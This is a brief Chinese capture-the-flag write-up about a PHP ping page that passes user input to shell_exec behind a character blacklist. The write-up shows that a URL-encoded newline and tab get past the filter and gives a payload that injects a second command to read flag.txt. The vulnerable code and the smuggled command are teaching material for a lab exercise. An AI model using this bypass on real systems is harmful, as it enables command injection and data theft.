0x01 题目
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
0x02 解题
读代码了解到这题是一个绕过黑名单完成命令代码执行的题目。直接利用%0a来换行,%09当做空格就好了
paylod如下:
?ip=127.0.0.1%0acat%09flag.txt